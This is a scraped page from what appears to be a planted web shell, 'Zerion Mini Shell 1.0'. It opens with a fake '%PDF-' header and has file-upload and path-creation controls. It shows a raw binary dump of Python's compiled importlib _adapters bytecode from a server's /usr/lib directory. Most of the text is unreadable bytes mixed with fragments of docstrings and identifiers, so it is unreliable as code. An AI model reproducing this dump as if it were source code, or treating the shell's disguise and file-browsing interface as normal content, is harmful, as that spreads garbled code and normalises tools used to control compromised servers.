%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.12/importlib/resources/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.12/importlib/resources/__pycache__/_adapters.cpython-312.pyc

�

���f���r�ddlmZddlmZddlmZGd�d�ZGd�d�Zdd	�ZGd
�d�Z	d�Z
y
)�)�suppress)�
TextIOWrapper�)�abcc�"�eZdZdZd�fd�Zd�Zy)�SpecLoaderAdapterz>
    Adapt a package spec to adapt the underlying loader.
    c��|jS�N)�loader��specs �4/usr/lib/python3.12/importlib/resources/_adapters.py�<lambda>zSpecLoaderAdapter.<lambda>s
��$�+�+��c�,�||_||�|_yr
)r
r)�selfr
�adapters   r�__init__zSpecLoaderAdapter.__init__s����	��d�m��rc�.�t|j|�Sr
)�getattrr
�r�names  r�__getattr__zSpecLoaderAdapter.__getattr__s���t�y�y�$�'�'rN)�__name__�
__module__�__qualname__�__doc__rr�rrrrs���&>�$�(rrc��eZdZdZd�Zd�Zy)�TraversableResourcesLoaderz9
    Adapt a loader to provide TraversableResources.
    c��||_yr
r�rr
s  rrz#TraversableResourcesLoader.__init__�	����	rc�H�t|j�j�Sr
)�CompatibilityFilesr
�_nativers  r�get_resource_readerz.TraversableResourcesLoader.get_resource_readers��!�$�)�)�,�4�4�6�6rN)rrrrrr'rrrr r s����7rr c�V�|dk(rt|g|��i|��S|dk(r|Std|�d���)N�r�rbzInvalid mode value 'z"', only 'r' and 'rb' are supported)r�
ValueError)�file�mode�args�kwargss    r�_io_wrapperr0 s@���s�{��T�3�D�3�F�3�3�	
�����
�+�D�6�1S�T�
U�Urc��eZdZdZGd�dej
�ZGd�dej
�ZGd�dej
�Zd�Z	e
d	��Zd
�Zd�Z
d�Zy
)r%zj
    Adapter for an existing or non-existent resource reader
    to provide a compatibility .files().
    c�D�eZdZdZd�Zd�Zd�ZeZd�Ze	d��Z
d	d�Zy)
�CompatibilityFiles.SpecPathzk
        Path tied to a module spec.
        Can be read and exposes the resource reader children.
        c� �||_||_yr
)�_spec�_reader)rr
�readers   rrz$CompatibilityFiles.SpecPath.__init__4s���D�J�!�D�Lrc����jstd�St�fd��jj�D��S)Nrc3�^�K�|]$}tj�j|����&y�wr
)r%�	ChildPathr6)�.0�pathrs  �r�	<genexpr>z6CompatibilityFiles.SpecPath.iterdir.<locals>.<genexpr>;s*�������#�,�,�T�\�\�4�@��s�*-)r6�iter�contents�rs`r�iterdirz#CompatibilityFiles.SpecPath.iterdir8s:����<�<��B�x���� �L�L�1�1�3���
rc��y�NFrr@s r�is_filez#CompatibilityFiles.SpecPath.is_file@���rc��|jstj|�Stj|j|�Sr
)r6r%�
OrphanPathr:�r�others  r�joinpathz$CompatibilityFiles.SpecPath.joinpathEs1���<�<�)�4�4�U�;�;�%�/�/����e�D�Drc�.�|jjSr
)r5rr@s rrz CompatibilityFiles.SpecPath.nameJs���:�:�?�?�"rc�T�t|jjd�|g|��i|��Sr
)r0r6�
open_resource�rr-r.r/s    r�openz CompatibilityFiles.SpecPath.openNs)���t�|�|�9�9�$�?��W��W�PV�W�WrN�r)�rrrrrrArD�is_dirrJ�propertyrrOrrr�SpecPathr3.s=��	�
	"�	�	���	E�

�	#�
�	#�	XrrTc�F�eZdZdZd�Zd�Zd�Zd�Zd�Ze	d��Z
d
d�Zy	)�CompatibilityFiles.ChildPathzw
        Path tied to a resource reader child.
        Can be read but doesn't expose any meaningful children.
        c� �||_||_yr
)r6�_name)rr7rs   rrz%CompatibilityFiles.ChildPath.__init__Ws��!�D�L��D�Jrc��td�S�Nr�r>r@s rrAz$CompatibilityFiles.ChildPath.iterdir[�����8�Orc�L�|jj|j�Sr
)r6�is_resourcerr@s rrDz$CompatibilityFiles.ChildPath.is_file^s���<�<�+�+�D�I�I�6�6rc�$�|j�Sr
)rDr@s rrRz#CompatibilityFiles.ChildPath.is_diras���|�|�~�%�%rc�B�tj|j|�Sr
)r%rGrrHs  rrJz%CompatibilityFiles.ChildPath.joinpathds��%�0�0����E�B�Brc��|jSr
)rXr@s rrz!CompatibilityFiles.ChildPath.namegs���:�:�rc�h�t|jj|j�|g|��i|��Sr
)r0r6rMrrNs    rrOz!CompatibilityFiles.ChildPath.openks7������*�*�4�9�9�5�t��>B��FL��
rNrPrQrrrr:rVQs:��	�
	�	�	7�	&�	C�
�	�
�	�	rr:c�D�eZdZdZd�Zd�Zd�ZeZd�Ze	d��Z
d	d�Zy)
�CompatibilityFiles.OrphanPathz�
        Orphan path, not tied to a module spec or resource reader.
        Can't be read and doesn't expose any meaningful children.
        c�D�t|�dkrtd��||_y)Nrz/Need at least one path part to construct a path)�lenr+�_path)r�
path_partss  rrz&CompatibilityFiles.OrphanPath.__init__vs!���:���"� �!R�S�S�#�D�Jrc��td�SrZr[r@s rrAz%CompatibilityFiles.OrphanPath.iterdir{r\rc��yrCrr@s rrDz%CompatibilityFiles.OrphanPath.is_file~rErc�D�tjg|j�|���Sr
)r%rGrgrHs  rrJz&CompatibilityFiles.OrphanPath.joinpath�s��%�0�0�D�$�*�*�D�e�D�Drc� �|jdS)N���)rgr@s rrz"CompatibilityFiles.OrphanPath.name�s���:�:�b�>�!rc��td��)NzCan't open orphan path)�FileNotFoundErrorrNs    rrOz"CompatibilityFiles.OrphanPath.open�s��#�$<�=�=rNrPrQrrrrGrdps<��	�
	$�
	�	���	E�
�	"�
�	"�	>rrGc��||_yr
rr"s  rrzCompatibilityFiles.__init__�r#rc��tt�5|jjj	|jj
�cddd�S#1swYyxYwr
)r�AttributeErrorr
rr'rr@s rr6zCompatibilityFiles._reader�sC��
�n�
%�	H��9�9�#�#�7�7��	�	���G�	H�	H�	H�s�9A�Ac�:�|j}t|d�r|S|S)zB
        Return the native reader if it supports files().
        �files)r6�hasattr)rr7s  rr&zCompatibilityFiles._native�s!������ ���1�v�;�t�;rc�.�t|j|�Sr
)rr6)r�attrs  rrzCompatibilityFiles.__getattr__�s���t�|�|�T�*�*rc�V�tj|j|j�Sr
)r%rTr
r6r@s rrtzCompatibilityFiles.files�s��!�*�*�4�9�9�d�l�l�C�CrN)rrrrr�TraversablerTr:rGrrSr6r&rrtrrrr%r%(se���
!X�3�?�?�!X�F�C�O�O��>>�S�_�_�>�:��H��H�<�+�Drr%c�6�t|jt�S)z`
    Construct a package spec with traversable compatibility
    on the spec/loader/reader.
    )r�__spec__r )�packages r�	wrap_specr}�s��
�W�-�-�/I�J�JrNrP)�
contextlibr�ior�rrr r0r%r}rrr�<module>r�s=�����
(�
(�	7�	7�V�xD�xD�vKr

Zerion Mini Shell 1.0